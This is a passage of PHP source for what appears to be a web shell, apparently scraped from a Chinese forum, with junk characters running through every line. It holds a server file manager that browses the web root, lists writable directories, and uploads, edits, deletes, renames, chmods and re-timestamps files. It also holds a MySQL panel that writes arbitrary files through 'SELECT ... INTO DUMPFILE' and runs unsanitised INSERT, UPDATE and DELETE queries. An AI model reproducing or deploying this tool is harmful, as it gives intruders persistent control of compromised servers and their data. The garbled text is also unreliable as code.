6 t* _4 |. w1 W$ C0 ] - makehide('dir',$nowpath);# ? ?8 k \/ w) ]( _2 y6 [! N
- formfoot();
/ A- u$ H! G0 v; [7 R5 H9 v - formhead(array('name'=>'copyfile'));
; r0 A" O% r- Q2 [/ s2 H+ k! T0 O - makehide('sname');* S. ?' I d! t; d' W
- makehide('tofile');. L% W' }. {$ O7 f8 l' R2 f4 _; S
- makehide('dir',$nowpath);
# ~! [ N" `( h# I - formfoot(); e8 e" S! T5 n/ I5 `
- formhead(array('name'=>'rename'));5 M1 \; _9 b/ z4 b% S
- makehide('oldname');
; H# h+ f- \" b6 R - makehide('newfilename');
& U4 N3 w$ ?+ V, q A* m) s2 U _ - makehide('dir',$nowpath);
7 f2 |/ y8 l4 M$ \7 L! e - formfoot();
2 n$ E5 c$ A) g0 Z - formhead(array('name'=>'fileopform'));
' [( H6 E7 {0 s M - makehide('action');) T( Y" d8 m* T; X7 k% m
- makehide('opfile');
9 V, x! X! d- Z5 U* s! h& T - makehide('dir');
7 l, i; o3 C- N/ O4 H - formfoot();* X1 t9 ?" X. [8 i
-
& Y4 H% q# ?. Z* ^6 Q. O% E - $free = @disk_free_space($nowpath);
\+ f" \1 ~( T, k; W9 ? - !$free && $free = 0;" d# G5 _' q5 ?% \( G H
- $all = @disk_total_space($nowpath);5 J! F' D) }! z! ?$ n0 U
- !$all && $all = 0;
5 j6 Q: @: G2 b3 `8 Z - $used = $all-$free;
& ^6 v8 ]) k* U4 c3 y% `, ]: K - $used_percent = @round(100/($all/$free),2);3 {0 ^* O9 a$ f2 U
- p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
. C, d" }( l, W7 ?9 I -
* e) J, p3 {3 y* |, c - ?>
5 r+ m* Y2 w( W+ }) o# ~1 t& b - <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
. q' }& [; B% w - <form action="" method="post" id="godir" name="godir">$ S% }0 m+ X" r0 p
- <tr>
/ { x' I# E S) M. [# [- k2 A - <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
! [8 Q) l7 `9 \% h3 v/ `8 O - <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
# u/ X9 k( n; p: H" C - <td nowrap><input class="bt" value="GO" type="submit"></td>6 ]% f2 ^7 E. I9 c, _
- </tr>
- ?; N! f4 m& n1 O - </form>5 c2 B m# Z2 h0 Y
- </table>
: j9 O4 s$ k3 G# W- I# o7 w - <script type="text/javascript">
8 m: h; N0 @6 |8 P0 _. C - function createdir(){( ]2 @% Y0 {9 k, W& }6 c, ?; |! h
- var newdirname;
" P/ I* ]4 s$ }; L1 D) z - newdirname = prompt('Please input the directory name:', '');. Y5 e, b) F0 J% Z! `
- if (!newdirname) return;9 I3 z% s$ W5 P: r! x- K8 E
- $('createdir').newdirname.value=newdirname;2 {' c2 b* s# c/ e
- $('createdir').submit();, q/ h% t, ~: e8 S7 t
- }- ?8 b1 R& V. T' @$ u. x
- function fileperm(pfile){
( y; Q% U3 y- p0 _; {8 _! g - var newperm;
. S$ E: m8 ]0 v8 q - newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
2 \( C- S- \# Z" U - if (!newperm) return;
, b6 P" u4 O! U6 y" y; i( e - $('fileperm').newperm.value=newperm;
/ h9 y, a7 D* `5 V. R - $('fileperm').pfile.value=pfile;
# w& ?- N; M: ^- G% z - $('fileperm').submit();3 k( |1 S0 e+ p& m/ ~
- }3 S* n4 o. T+ H: {( V: K4 [
- function copyfile(sname){- Z6 Z) ?6 \3 C9 [& r- L
- var tofile;
2 n" l, v% P& [, y - tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
- H/ Y+ u" V9 c' i8 y0 z - if (!tofile) return;0 s& a3 q2 ]6 a7 ~+ k! E/ l* F: o
- $('copyfile').tofile.value=tofile;+ \" P& o. l: w8 W ~: }' z
- $('copyfile').sname.value=sname;
: v& I' X8 z/ p5 x; P - $('copyfile').submit();
! R- x; f' H0 C4 W - }
: G6 V: i2 o0 f0 y4 R' z - function rename(oldname){) ]3 A+ J" F) V8 C9 G
- var newfilename;
" H. z9 B8 q; b - newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
5 b. ^- B* D, g' {- r+ L0 s2 D. I - if (!newfilename) return;+ m, I) Z6 J0 B
- $('rename').newfilename.value=newfilename;+ v1 y$ u1 J/ L& Q3 T
- $('rename').oldname.value=oldname;
6 h$ H% z5 }, L ` - $('rename').submit();0 o* n# @1 O' T# T
- }
, ^/ |4 H7 v8 W6 {. l) v; M) ] - function dofile(doing,thefile,m){
* S5 ]" M! k$ L+ [8 S - if (m && !confirm(m)) {
' Y! i% O4 f( i1 H k - return;4 {4 y$ U8 u& h% O
- }$ b* _ y9 |, P5 C* O
- $('filelist').doing.value=doing;
' b! }' F6 w6 s) p4 m/ ` ^/ k" K - if (thefile){ L" M: a3 I' i* N* y; j
- $('filelist').thefile.value=thefile;
; `8 m) T2 |; T! ~, d8 M - }
6 U2 s, h# f; v+ l - $('filelist').submit();) T# f" U$ r1 j, P1 D/ z
- }
" p. R! I! P4 R* F0 U* x3 O1 a0 Q% t - function createfile(nowpath){
, K( u# }5 z3 e. [7 Z7 P - var filename;
% b, V, [, _4 T) e1 H+ s: ? - filename = prompt('Please input the file name:', '');
& G6 T8 w% K8 |# W7 D( K# o - if (!filename) return;$ M& k+ e) m% @. f& C; T0 A
- opfile('editfile',nowpath + filename,nowpath);1 X4 h) `1 W- R; J/ m
- }- ~+ _/ I( P: S! [. Q ^8 H
- function opfile(action,opfile,dir){. _0 F& G- u1 T! H7 ] \1 {
- $('fileopform').action.value=action;
8 |) y' f: z/ c - $('fileopform').opfile.value=opfile;
; J/ }' w! K1 D1 j - $('fileopform').dir.value=dir;
+ O' G; H+ T) J8 [# ` - $('fileopform').submit();
6 V. g" a# R6 l# c# ~8 l; ] - }" q2 A, H0 A7 B( r
- function godir(dir,view_writable){
0 u8 o) H$ b p, J: D+ Z - if (view_writable) {% K/ A( t" H. \( y* i
- $('godir').view_writable.value=1;$ I+ s' K, S5 | G6 q% x4 @
- }
4 m. B, p2 J( R' }8 j+ | - $('godir').dir.value=dir;- D7 Q" }# D3 l% }' V5 s/ j b
- $('godir').submit();
7 U6 ]7 S$ J; l0 g. d - }$ B' |) U6 M6 l& z# E
- </script>' y/ {* o* Q) x" I# Z6 @
- <?php
! J) V! z; {& y$ D7 e - tbhead();
& D# b* C. u4 k, b" i - p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
/ R Y# L. N' ]6 v* U+ } y& a - p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');* h0 T6 c) o+ v' C) p: U3 G
- p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
! g/ E- ~& F8 L - if ($view_writable) {2 i1 ]! {; N* X$ ^
- p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');0 N7 T, b- K8 l) B. b7 r
- } else {
) t4 ~) p. Q* j; y: D! L - p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
) A# }: _3 x& D3 z - }$ Z% j) T! U; w- b q$ _+ c; O
- p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
( h; Y. z% N+ r - if (IS_WIN && IS_COM) {2 S; r3 A, |9 \, Q; |
- $obj = new COM('scripting.filesystemobject');" c' N- ^9 N# E3 u4 n9 c
- if ($obj && is_object($obj)) {
; {9 a4 L' L2 G! O - $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');. L9 G- g5 T1 d
- foreach($obj->Drives as $drive) {. g% g! I* l0 w* W
- if ($drive->DriveType == 2) {
) W+ j" {6 o1 X - p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'0 z, e1 B- V. ^1 ^0 ]+ j
- Free:'.sizecount($drive->FreeSpace).'( H' @' q2 y8 W* R& x' O% a
- Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
1 X& s8 S1 n3 y& O - } else {, E4 J) t( h. [; K& W2 J
- p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');/ X6 |; a3 G3 l% ~
- }
! i* J9 [0 C8 m. V( {6 M; ] - }
, K/ d; ?; P$ S! a, B - }
& W# g* D' L! y' p9 T* P+ C2 S - }
9 Y; p) j G. F# F - * t ?( n8 h6 O. O' f1 N
- p('</td></tr></form>');! Y5 a. k4 C& c. D$ N, C- s2 x* F
-
! G4 c' S! E) s4 w! T" J) V% t! a4 B - p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');( W. D9 U+ U& h5 Z; F
-
# v: S. I6 n3 e' B( S5 ~ - //查看所有可写文件和目录
% n9 F4 G* A; c# e; E+ s1 t. R - $dirdata=array();
. G4 H j; V6 _5 X6 x( ` - $filedata=array();
& ]/ p7 I4 [; W7 C$ x2 U. z" ~ -
: l6 T) l$ G4 j7 B9 s6 I% Q - if ($view_writable) {
4 \3 r+ Z3 F. `* P" m" G7 @ - $dirdata = GetList($nowpath);$ O/ A& R# \/ ]! y. d7 N3 C2 B! g
- } else {
7 m _( l% R; c' q - // 目录列表4 p9 M: P! L- y5 i6 A3 i& v% S
- $dirs=@opendir($dir);8 w- B/ ?$ K, P0 `
- while ($file=@readdir($dirs)) {7 z+ c$ D5 B: K* M8 s- P1 J
- $filepath=$nowpath.$file;4 A T' v1 U- ?# z' o
- if(@is_dir($filepath)){
3 D, J, ]6 [ h! z4 N. V. \5 u - $dirdb['filename']=$file;/ s9 e5 u; P$ M2 ~6 a: G
- $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));1 q7 C$ `/ j) u
- $dirdb['dirchmod']=getChmod($filepath);
( N1 [" a; A% b5 ? - $dirdb['dirperm']=getPerms($filepath);
- m0 U1 J7 Z7 e' s: A' O, [/ z - $dirdb['fileowner']=getUser($filepath);, f3 ~8 S5 |1 m
- $dirdb['dirlink']=$nowpath;
% z+ H/ p* s3 T" x$ D6 ` - $dirdb['server_link']=$filepath;: P4 Z2 Z0 G/ G& K1 _$ E. m
- $dirdb['client_link']=ue($filepath);) t) N7 ~5 I) I8 e6 ~
- $dirdata[]=$dirdb;
/ c8 o) t, e1 A! g1 M/ Z - } else { 9 s/ @# m4 a5 u }: F
- $filedb['filename']=$file;3 k ^, q v. B
- $filedb['size']=sizecount(@filesize($filepath));
2 i' m8 w" ^2 w7 ?8 E/ e2 r% n6 [ - $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
. P, Z' t% j8 D1 ^; Y# C - $filedb['filechmod']=getChmod($filepath);5 B0 I7 W- J- }/ u- o6 }! S
- $filedb['fileperm']=getPerms($filepath);
/ A) b/ }+ Z- ?; r2 G- H( g7 l5 G - $filedb['fileowner']=getUser($filepath);
$ i+ D6 M# b7 z1 f. X4 r, j - $filedb['dirlink']=$nowpath;
% U) i3 x! n" b& N% e3 Y% |$ Q - $filedb['server_link']=$filepath;
" L0 s0 f' M7 h% C - $filedb['client_link']=ue($filepath);3 P5 C# B$ o& L6 `
- $filedata[]=$filedb;
8 b* u' q0 [- q- C( K - }
. Q! E) C" ]+ }* | - }// while6 C& n* Q! R* X9 |
- unset($dirdb);
: N( k$ i2 u4 j - unset($filedb);" L* x# m- J- g) z4 y" ^& T
- @closedir($dirs);
6 m$ i! l; _ w1 L5 Z6 [. p - }
% F! _$ ~' L& H7 R2 `$ f8 N/ Y { - @sort($dirdata);3 V3 X- s( j5 v# I1 z% J
- @sort($filedata);
( I9 Z$ I, D8 a - $dir_i = '0';( ? N" q+ W7 d% o- m8 X {4 b" R
- foreach($dirdata as $key => $dirdb){
/ `6 k5 m" M4 Z) e" r - if($dirdb['filename']!='..' && $dirdb['filename']!='.') {0 c) [. B8 X- I- D9 s+ r
- $thisbg = bg();8 _5 P5 t/ {" k1 W1 t% |6 S3 |' j* K
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
9 v. V' ~, f% } `" O5 ~ - p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');% v* H( L! ]7 M* N+ y* t/ L% o
- p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');6 F+ Y/ X# z: O; ?( V
- p('<td nowrap>'.$dirdb['mtime'].'</td>');
* q8 J9 {5 f) E/ p, B, F m1 w3 y" T - p('<td nowrap>--</td>');
" v1 m* {' Z6 u$ \+ u9 ~: e - p('<td nowrap>');
8 c7 z/ q* p- v2 D - p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');6 l0 |5 f) U( x: e# b1 I
- p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
3 V! N# b6 i" K8 ] - p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
7 Y3 `% D) F3 ~7 l( q - p('</tr>');
6 }& x8 L8 j6 g( F2 t6 L' p - $dir_i++;5 }7 w3 U- \3 Y
- } else {
/ d4 d# a7 ]% d2 _& u - if($dirdb['filename']=='..') { [7 ?. e6 f; E- K
- p('<tr class='.bg().'>');# i% W4 E, e: Z, k+ O+ a
- p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
& c) k; Z' C1 O) }0 r - p('</tr>');
8 Q/ G) y% G( D; e$ g - }
+ n8 T3 ]0 K. G5 h/ ?, U - }
& Y7 k1 W2 j! q5 p" H7 v E& P - }
' @. U3 Z; a/ M -
h- ^$ m) L8 x! N$ R4 j& Z0 P - p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');0 x3 k8 H, P2 {, ^
- p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
" m8 e/ d8 v& I1 Y& L0 F - makehide('action','file');+ G' q9 p, k( Y
- makehide('thefile');! e) i2 }. e7 ~0 B S) o
- makehide('doing');
8 [. f4 B1 B7 I2 X- W$ U7 w - makehide('dir',$nowpath);# i2 u0 Y8 ?! S6 U/ ]* G& S6 u
- $file_i = '0';# q4 `4 Q2 o* Z* _# P8 \8 I
- foreach($filedata as $key => $filedb){/ ?% }7 x0 A& [: y. }- p6 @! I2 S/ I* H
- if($filedb['filename']!='..' && $filedb['filename']!='.') {
7 |1 p* D% ?$ @7 W - $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
+ }' R# z0 U. B* @4 h9 C5 c- o - $thisbg = bg();
- Q9 P& z0 N" N% ?* `1 U# u* Q - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');+ `: {; k: v( D7 {& O
- p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
, c5 [! _2 z. v: t [$ x. _. `, w3 J: d - p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
# }' ?5 F( }; t1 E2 } - p('<td nowrap>'.$filedb['mtime'].'</td>');
2 V4 F. }# h7 A3 C9 H' b6 ` P - p('<td nowrap>'.$filedb['size'].'</td>');; E0 H/ f4 ~+ c* ] `
- p('<td nowrap>');
8 s0 F7 @: P! f2 m1 ]' b - p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');2 w* y6 v* ~) C+ y) D# v
- p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');1 U% ^+ C6 O. `# z ]
- p('<td nowrap>');
@% j( K* Y+ m2 c% s9 q - p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
0 G3 B' v, z1 ] - p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');" W2 Y0 I/ m: y( q8 _) ]3 G
- p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');" ^# N& Y0 k+ C5 m
- p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
0 t' ?6 q' [' k - p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');. C1 J$ ^4 g7 C# ^, b
- p('</td></tr>');- \/ q# e4 o/ z* ]+ C1 k7 ~) b
- $file_i++;
2 h4 r" ^1 J# `: G! n5 s9 |) e - }, _ F' O' Q2 D }) s! }
- }4 E4 `8 P3 X* l) X
- p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');# Q3 A( \ S* F& w
- p('</form></table>');
" f2 c) U' x( { - }// end dir; J. b6 m( t/ r* z! s4 S3 T; G4 W
-
9 B! T+ j; j- g, o" s5 Y - elseif ($action == 'sqlfile') {6 c4 o1 V' P* e: c& E( i3 X
- if($doing=="mysqlupload"){
" { U3 n( h* A" e% B - $file = $_FILES['uploadfile'];2 m$ h% ?* w' H& U6 P
- $filename = $file['tmp_name'];& p0 b0 n2 r) J$ w
- if (file_exists($savepath)) {
v5 R- f/ ^# F5 K2 h6 j' Q0 }8 h: k8 P - m('The goal file has already existed');2 c% q' f# B: W" M, }( ~% u7 v b5 f
- } else {. G" \5 N! g1 d4 r; i
- if(!$filename) {, v5 E& p' q( G- W
- m('Please choose a file');
' y- m3 X# s$ X( i# T( z$ L - } else { ~9 a* m# k) I/ h) U8 [$ V
- $fp=@fopen($filename,'r');
4 r, u: \ y' X. L - $contents=@fread($fp, filesize($filename));- N# L* u; I8 k0 W3 j6 _
- @fclose($fp);
' ^ Q2 j) w- f, y: n' D - $contents = bin2hex($contents);! Q: T4 ]* [& W
- if(!$upname) $upname = $file['name'];* K( p0 G8 g9 h+ T0 c, R
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);7 w. _8 n( e! v3 X" J
- $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");1 V R# ?; L) {' h. T
- m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());* Q8 b1 E9 o0 Z7 ? B8 @
- }+ A5 N! g9 Y' B2 {6 a
- }
' O H' D2 m0 x: q - }
& g# P' z# ]6 o& | j3 Y* c$ C - ?>
8 ^0 L" L. P" e - <script type="text/javascript">
2 L5 B! V: ?( M- T - function mysqlfile(doing){' o$ |% Z) A% S* F1 V
- if(!doing) return;/ P$ j2 o2 L/ C& d$ n* @
- $('doing').value=doing;
8 [1 l3 M% L9 P - $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
0 v8 S9 o% I" k) r: E' U - $('mysqlfile').dbport.value=$('dbinfo').dbport.value;; ?' q3 @5 C0 Q1 b
- $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
) ~, V1 C/ \8 W- k# t - $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;/ N$ C$ P; j' f2 V t! ]
- $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
$ O! V8 q5 ]* t4 J - $('mysqlfile').charset.value=$('dbinfo').charset.value;! {5 }. h& [9 f; Y& I% Q) a
- $('mysqlfile').submit();0 Y0 p% T0 z7 Z1 ^& @
- }
- A& H, G) i& @% h: N& q/ J - </script>
: V9 X2 M+ r& @) z1 m7 {5 q% C - <?php
# m1 K5 X, R0 {* V8 w$ D - !$dbhost && $dbhost = 'localhost';
* Y6 h2 B5 k( @ - !$dbuser && $dbuser = 'root';; D. b- Y, F# g* X6 V, X0 L
- !$dbport && $dbport = '3306';" y! ~: z9 x) F3 _
- $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');% @8 l6 D) y" q) W5 A8 D" K
- formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
, E$ f( r0 ?! G3 z! F - makehide('action','sqlfile');
8 w8 Z! z5 g% ?8 e y2 m% A - p('<p>');' g8 R, r" H5 v% t% h
- p('DBHost:');
. T+ P; ]) I8 Q$ a: `" K- b$ j7 e - makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
' X h8 A! _2 ^5 _, s - p(':');' R |( ~+ S' w3 e
- makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
3 i+ R$ M) q, ~/ d2 V - p('DBUser:');
: |% W1 m% q1 z( J6 B2 e" v6 ~ - makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));$ b: ]+ ]" F: v9 H: i
- p('DBPass:');: m4 B. s. ?6 v, S4 R: {+ k
- makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));% Q- Z& {# @" o# p3 d5 d5 A
- p('DBName:');
7 w2 ^6 J& P8 z, j. O - makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));$ N b& s* n0 p8 F) W
- p('DBCharset:');1 ^7 r$ N, c/ s
- makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
/ z% U4 m% o5 ]1 @* w - p('</p>');* P. Z6 V9 n- Q) J& o
- formfoot();
6 G: W2 ]7 |+ \, N - p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
5 m4 M3 b( H, V* q: j - p('<h2>Upload file</h2>');% S7 `2 P6 g: ~- K) C# ]
- p('<p><b>This operation the DB user must has FILE privilege</b></p>');! }3 Z5 i- F- W0 y) Q# q% W
- p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
U) H# B7 p7 j- f% w. l, L - p('<h2>Download file</h2>');* y# D4 A3 w/ b* `/ D) h. ~% r& ^
- p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');7 ~& c4 H6 y; u7 b, J# E2 B
- makehide('dbhost');3 r' I2 l+ Z4 G' X% v8 y
- makehide('dbport');
# \ ]& u8 s6 \; O, e" W. W - makehide('dbuser');# L) U* s1 G3 f0 y" J5 B+ j. Y
- makehide('dbpass');
H9 A) ?$ U9 P' g0 x: P8 t5 h Z - makehide('dbname');
4 A- J1 A9 b7 O3 u3 Y* k Q - makehide('charset');
2 U* t& {4 @. k* @4 \/ {" k - makehide('doing');" d N( V& }" Y# F* O
- makehide('action','sqlfile');
* t' j, R8 D# Q; {3 ?% Y - p('</form>');* y9 s$ y! t+ ^( S, ?8 m+ R
- }
0 h+ o0 b; E' } B -
& B" N/ ?- q7 f - elseif ($action == 'sqladmin') {
u6 {5 x+ z* X - !$dbhost && $dbhost = 'localhost';
9 Z8 L( C: K* j# ~" x - !$dbuser && $dbuser = 'root';* V6 ?1 B+ V0 o! S
- !$dbport && $dbport = '3306';4 }9 b: s. x6 h& d
- $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';$ z4 F/ g, O: D' J3 K
- if(isset($dbhost)){
/ b8 @; V \+ D- _4 z U - $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";
+ g. ?( M; s9 Y& m - }9 A7 L( x* c9 k/ `
- if(isset($dbuser)) {! g v' S5 |7 v. |& Q; C) m
- $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";) d6 b* z$ w5 H }- I
- }
( {# \3 n7 j" Z7 b - if(isset($dbpass)) {
: t! H1 M/ H$ J! E' m% \ - $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";2 z; S$ h% U0 ~% P
- }
( h$ J. H- j/ [6 T - if(isset($dbport)) {
) v( t2 u5 R! q, K) a& @" b - $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";
& t' j o1 P0 [3 K9 D. h5 J - }7 r$ o7 i5 P8 C, v/ S
- if(isset($dbname)) {$ N4 ?- Q7 u/ J2 Y6 v" c7 v6 d
- $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";4 Q/ r \: |# y
- }
5 L- w3 [) C4 |" \% P, S - if(isset($charset)) {
. S& H* R3 S8 |) ?9 b; x - $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";
$ O( y& [0 l5 \ - }
+ P% U' `0 H2 N+ W& F: u -
2 j2 G/ [0 u9 V+ \ - if ($doing == 'backupmysql' && $saveasfile) {+ p: z0 {& b$ Q; }; o$ l
- if (!$table) {0 l" i& @9 L6 c! K- f& }0 Y
- m('Please choose the table');/ M/ _& J$ B$ l& ^1 y
- } else {
9 S7 C( s- |: X: }( y, K* [ - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
8 G- U% q/ ^3 h, ?8 f1 R5 \/ R - $table = array_flip($table);
- N I5 y7 F! | - $fp = @fopen($path,'w');
3 p: R3 M. Y0 u) j - if ($fp) {, e" K4 }" X. G% M) [! h# _' ?
- $result = q('SHOW tables');
, I' K* L9 ^" Z( q8 z - if (!$result) p('<h2>'.mysql_error().'</h2>');2 H0 ?+ V1 p" e: ]& W5 \
- $mysqldata = '';
* F* i: z* @" q8 w - while ($currow = mysql_fetch_array($result)) {0 b- B3 F2 D3 g
- if (isset($table[$currow[0]])) {! Y) J) Z8 @8 e' }4 p# R
- sqldumptable($currow[0], $fp);) L' u, j8 O0 e+ S: B+ ?5 s
- }
6 H# y5 j5 v9 y, d" ` - }
% F4 `8 p1 x# }4 \' Z0 V - fclose($fp);
# Y: m6 m" E6 A4 {8 g6 c* Z% F - $fileurl = str_replace(SA_ROOT,'',$path);
* t9 M! y) u& Z- E - m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');) y! K- q$ h8 [5 S
- mysql_close();
- g4 i- O; ~( n/ A# {5 \) [ - } else {, A* v, Y2 W9 o9 n- S
- m('Backup failed');
4 v4 c8 M- W5 H% W# r - }' \& C& C5 o L0 i6 @3 N
- }: n: R) p- u5 d
- }1 ~2 @& q8 }1 y1 C3 f) K
- if ($insert && $insertsql) {8 e( T" v* a: n7 M: N
- $keystr = $valstr = $tmp = '';2 m: u+ Z1 U- s% b
- foreach($insertsql as $key => $val) {
4 G1 i0 o# k( W) V) t - if ($val) {
/ ~, ?- h/ s: E& U - $keystr .= $tmp.$key;
" L6 j9 T4 U' x- I! C2 Z - $valstr .= $tmp."'".addslashes($val)."'";& n. k1 R7 O( X/ ?1 t. c4 \; G
- $tmp = ',';: f3 x" y1 m1 H6 y" }2 m8 K
- }1 u6 }8 o( U4 U% B+ x
- }
4 K& N+ O* q: V7 j* [' g% y - if ($keystr && $valstr) {
! ^4 K w3 e# z* \ - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);$ B" u! q7 b/ e
- m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
3 y3 s% z, T9 ]# r% F0 V# ^ - }* X& O- S1 q5 L9 r+ U
- }
. S& H/ m2 ~) u: l - if ($update && $insertsql && $base64) {
! j; {" n! \. t* g - $valstr = $tmp = '';
) H0 Z) H9 r- V; p/ ~ - foreach($insertsql as $key => $val) {0 e+ b: z; J# r! _
- $valstr .= $tmp.$key."='".addslashes($val)."'";
8 D! [* y+ I1 x' ]; y - $tmp = ',';0 L1 r- j0 N( X4 V+ u$ D
- }
+ m; J: W8 p6 |2 S1 ?" z. b, j - if ($valstr) {+ p- K4 m+ k8 C; t4 T# o
- $where = base64_decode($base64);
$ l5 K8 \% `! N% }$ g3 J - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
) h2 k3 Y) d- T+ s' c. W6 M - m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
" L; X% W1 K# {2 ^ - }
. h8 _ p0 S) w' n - }9 s" c. B8 M+ j' L7 {1 O
- if ($doing == 'del' && $base64) {3 Y a$ _4 H; r w$ Q
- $where = base64_decode($base64);6 w$ N* Q0 ~& ]8 h& ?1 V1 h, \
- $delete_sql = "DELETE FROM $tablename WHERE $where";8 w% Y+ ^3 ^1 i
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
8 Z4 r- r! ^. s4 m - m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
